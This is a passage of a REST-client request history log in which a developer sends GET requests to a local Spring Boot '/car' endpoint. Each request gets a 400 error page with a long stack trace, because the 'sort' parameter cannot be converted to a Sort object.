java.lang.Thread.run(Thread.java:748)\\r\\n\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":16.0,\"minute\":32.0,\"second\":5.0,\"nano\":1.572907E8}}},{\"url\":\"http://localhost:8080/car\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"key\":\"id\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Integer\",\"value\":\"1\"},{\"is_checked\":0.0,\"key\":\"carId\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":0.0,\"key\":\"sort.orders\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Array\",\"value\":\"\"},{\"is_checked\":0.0,\"key\":\"sort.orders.direction\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"org.springframework.data.domain.Sort.Direction\",\"value\":\"ASC\"},{\"is_checked\":0.0,\"key\":\"sort.orders.property\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":0.0,\"key\":\"sort.orders.ignoreCase\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"boolean\",\"value\":\"false\"},{\"is_checked\":0.0,\"key\":\"sort.orders.nullHandling\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"org.springframework.data.domain.Sort.NullHandling\",\"value\":\"NATIVE\"},{\"is_checked\":1.0,\"key\":\"page\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"int\",\"value\":\"1\"},{\"is_checked\":1.0,\"key\":\"size\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"int\",\"value\":\"1\"},{\"is_checked\":1.0,\"key\":\"sort\",\"type\":\"Text\",\"value\":\"1\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8080/car?size\\u003d1\\u0026id\\u003d1\\u0026page\\u003d1\\u0026sort\\u003d1\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eMon Jun 24 16:32:17 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dBad Request, status\\u003d400).\\u003c/div\\u003e\\u003cdiv\\u003eValidation failed for object\\u003d\\u0026#39;pageRequest\\u0026#39;. Error count: 1\\u003c/div\\u003e\\u003cdiv style\\u003d\\u0027white-space:pre-wrap;\\u0027\\u003eorg.springframework.validation.BindException: org.springframework.validation.BeanPropertyBindingResult: 1 errors\\nField error in object \\u0026#39;pageRequest\\u0026#39; on field \\u0026#39;sort\\u0026#39;: rejected value [1]; codes [typeMismatch.pageRequest.sort,typeMismatch.sort,typeMismatch.org.springframework.data.domain.Sort,typeMismatch]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [pageRequest.sort,sort]; arguments []; default message [sort]]; default message [Failed to convert value of type \\u0026#39;java.lang.String\\u0026#39; to required type \\u0026#39;org.springframework.data.domain.Sort\\u0026#39;; nested exception is java.lang.IllegalStateException: Cannot convert value of type \\u0026#39;java.lang.String\\u0026#39; to required type \\u0026#39;org.springframework.data.domain.Sort\\u0026#39;: no matching editors or conversion strategy found]\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.constructAttribute(ModelAttributeMethodProcessor.java:329)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.createAttribute(ModelAttributeMethodProcessor.java:220)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor.createAttribute(ServletModelAttributeMethodProcessor.java:85)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.resolveArgument(ModelAttributeMethodProcessor.java:147)\\r\\n\\tat org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument(HandlerMethodArgumentResolverComposite.java:122)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues(InvocableHandlerMethod.java:179)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:146)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808)\\r\\n\\tat org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1071)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:964)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:670)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:779)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197)\\r\\n\\tat org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)\\r\\n\\tat org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541)\\r\\n\\tat org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135)\\r\\n\\tat org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)\\r\\n\\tat org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)\\r\\n\\tat org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:360)\\r\\n\\tat org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399)\\r\\n\\tat org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)\\r\\n\\tat org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:893)\\r\\n\\tat org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1789)\\r\\n\\tat org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)\\r\\n\\tat org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)\\r\\n\\tat java.lang.Thread.run(Thread.java:748)\\r\\n\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":16.0,\"minute\":32.0,\"second\":17.0,\"nano\":2.050812E8}}},{\"url\":\"http://localhost:8080/car\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"key\":\"id\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Integer\",\"value\":\"1\"},{\"is_checked\":0.0,\"key\":\"carId\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":0.0,\"key\":\"sort.orders\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Array\",\"value\":\"\"},{\"is_checked\":0.0,\"key\":\"sort.orders.direction\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"org.springframework.data.domain.Sort.Direction\",\"value\":\"ASC\"},{\"is_checked\":0.0,\"key\":\"sort.orders.property\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":0.0,\"key\":\"sort.orders.ignoreCase\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"boolean\",\"value\":\"false\"},{\"is_checked\":0.0,\"key\":\"sort.orders.nullHandling\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"org.springframework.data.domain.Sort.NullHandling\",\"value\":\"NATIVE\"},{\"is_checked\":1.0,\"key\":\"page\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"int\",\"value\":\"1\"},{\"is_checked\":1.0,\"key\":\"size\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"int\",\"value\":\"1\"},{\"is_checked\":1.0,\"key\":\"sort\",\"type\":\"Text\",\"value\":\"\\\"1\\\"\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8080/car?size\\u003d1\\u0026id\\u003d1\\u0026page\\u003d1\\u0026sort\\u003d\\\"1\\\"\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eMon Jun 24 16:32:46 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dBad Request, status\\u003d400).\\u003c/div\\u003e\\u003cdiv\\u003eValidation failed for object\\u003d\\u0026#39;pageRequest\\u0026#39;. Error count: 1\\u003c/div\\u003e\\u003cdiv style\\u003d\\u0027white-space:pre-wrap;\\u0027\\u003eorg.springframework.validation.BindException: org.springframework.validation.BeanPropertyBindingResult: 1 errors\\nField error in object \\u0026#39;pageRequest\\u0026#39; on field \\u0026#39;sort\\u0026#39;: rejected value [\\u0026quot;1\\u0026quot;]; codes [typeMismatch.pageRequest.sort,typeMismatch.sort,typeMismatch.org.springframework.data.domain.Sort,typeMismatch]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [pageRequest.sort,sort]; arguments []; default message [sort]]; default message [Failed to convert value of type \\u0026#39;java.lang.String\\u0026#39; to required type \\u0026#39;org.springframework.data.domain.Sort\\u0026#39;; nested exception is java.lang.IllegalStateException: Cannot convert value of type \\u0026#39;java.lang.String\\u0026#39; to required type \\u0026#39;org.springframework.data.domain.Sort\\u0026#39;: no matching editors or conversion strategy found]\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.constructAttribute(ModelAttributeMethodProcessor.java:329)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.createAttribute(ModelAttributeMethodProcessor.java:220)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor.createAttribute(ServletModelAttributeMethodProcessor.java:85)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.resolveArgument(ModelAttributeMethodProcessor.java:147)\\r\\n\\tat org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument(HandlerMethodArgumentResolverComposite.java:122)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues(InvocableHandlerMethod.java:179)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:146)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808)\\r\\n\\tat org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1071)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:964)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:670)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:779)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197)\\r\\n\\tat org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)\\r\\n\\tat org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541)\\r\\n\\tat org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135)\\r\\n\\tat org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)\\r\\n\\tat org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)\\r\\n\\tat org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:360)\\r\\n\\tat org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399)\\r\\n\\tat org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)\\r\\n\\tat org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:893)\\r\\n\\tat org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1789)\\r\\n\\tat org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)\\r\\n\\tat org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)\\r\\n\\tat java.lang.Thread.run(Thread.java:748)\\r\\n\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":16.0,\"minute\":32.0,\"second\":46.0,\"nano\":5.077455E8}}},{\"url\":\"http://localhost:8080/car\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"key\":\"id\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Integer\",\"value\":\"1\"},{\"is_checked\":0.0,\"key\":\"carId\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":0.0,\"key\":\"sort.orders\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Array\",\"value\":\"\"},{\"is_checked\":0.0,\"key\":\"sort.orders.direction\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"org.springframework.data.domain.Sort.Direction\",\"value\":\"ASC\"},{\"is_checked\":0.0,\"key\":\"sort.orders.property\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":0.0,\"key\":\"sort.orders.ignoreCase\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"boolean\",\"value\":\"false\"},{\"is_checked\":0.0,\"key\":\"sort.orders.nullHandling\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"org.springframework.data.domain.Sort.NullHandling\",\"value\":\"NATIVE\"},{\"is_checked\":1.0,\"key\":\"page\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"int\",\"value\":\"1\"},{\"is_checked\":1.0,\"key\":\"size\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"int\",\"value\":\"1\"},{\"is_checked\":1.0,\"key\":\"sort\",\"type\":\"Text\",\"value\":\"ASC\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8080/car?size\\u003d1\\u0026id\\u003d1\\u0026page\\u003d1\\u0026sort\\u003dASC\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eMon Jun 24 16:32:53 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dBad Request, status\\u003d400).\\u003c/div\\u003e\\u003cdiv\\u003eValidation failed for object\\u003d\\u0026#39;pageRequest\\u0026#39;. Error count: 1\\u003c/div\\u003e\\u003cdiv style\\u003d\\u0027white-space:pre-wrap;\\u0027\\u003eorg.springframework.validation.BindException: org.springframework.validation.BeanPropertyBindingResult: 1 errors\\nField error in object \\u0026#39;pageRequest\\u0026#39; on field \\u0026#39;sort\\u0026#39;: rejected value [ASC]; codes [typeMismatch.pageRequest.sort,typeMismatch.sort,typeMismatch.org.springframework.data.domain.Sort,typeMismatch]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [pageRequest.sort,sort]; arguments []; default message [sort]]; default message [Failed to convert value of type \\u0026#39;java.lang.String\\u0026#39; to required type \\u0026#39;org.springframework.data.domain.Sort\\u0026#39;; nested exception is java.lang.IllegalStateException: Cannot convert value of type \\u0026#39;java.lang.String\\u0026#39; to required type \\u0026#39;org.springframework.data.domain.Sort\\u0026#39;: no matching editors or conversion strategy found]\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.constructAttribute(ModelAttributeMethodProcessor.java:329)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.createAttribute(ModelAttributeMethodProcessor.java:220)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor.createAttribute(ServletModelAttributeMethodProcessor.java:85)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.resolveArgument(ModelAttributeMethodProcessor.java:147)\\r\\n\\tat org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument(HandlerMethodArgumentResolverComposite.java:122)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues(InvocableHandlerMethod.java:179)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:146)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808)\\r\\n\\tat org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1071)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:964)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:670)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:779)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197)\\r\\n\\tat org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)\\r\\n\\tat org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541)\\r\\n\\tat org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135)\\r\\n\\tat org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)\\r\\n\\tat org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)\\r\\n\\tat org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:360)\\r\\n\\tat org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399)\\r\\n\\tat org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)\\r\\n\\tat org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:893)\\r\\n\\tat org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1789)\\r\\n\\tat org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)\\r\\n\\tat org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)\\r\\n\\tat java.lang.Thread.run(Thread.java:748)\\r\\n\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":16.0,\"minute\":32.0,\"second\":53.0,\"nano\":5.29493E8}}},{\"url\":\"http://localhost:8080/car\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"key\":\"id\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Integer\",\"value\":\"1\"},{\"is_checked\":0.0,\"key\":\"carId\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":0.0,\"key\":\"sort.orders\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Array\",\"value\":\"\"},{\"is_checked\":0.0,\"key\":\"sort.orders.direction\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"org.springframework.data.domain.Sort.Direction\",\"value\":\"ASC\"},{\"is_checked\":0.0,\"key\":\"sort.orders.property\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":0.0,\"key\":\"sort.orders.ignoreCase\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"boolean\",\"value\":\"false\"},{\"is_checked\":0.0,\"key\":\"sort.orders.nullHandling\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"org.springframework.data.domain.Sort.NullHandling\",\"value\":\"NATIVE\"},{\"is_checked\":1.0,\"key\":\"page\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"int\",\"value\":\"1\"},{\"is_checked\":1.0,\"key\":\"size\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"int\",\"value\":\"1\"},{\"is_checked\":1.0,\"key\":\"sort\",\"type\":\"Text\",\"value\":\"asc\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: 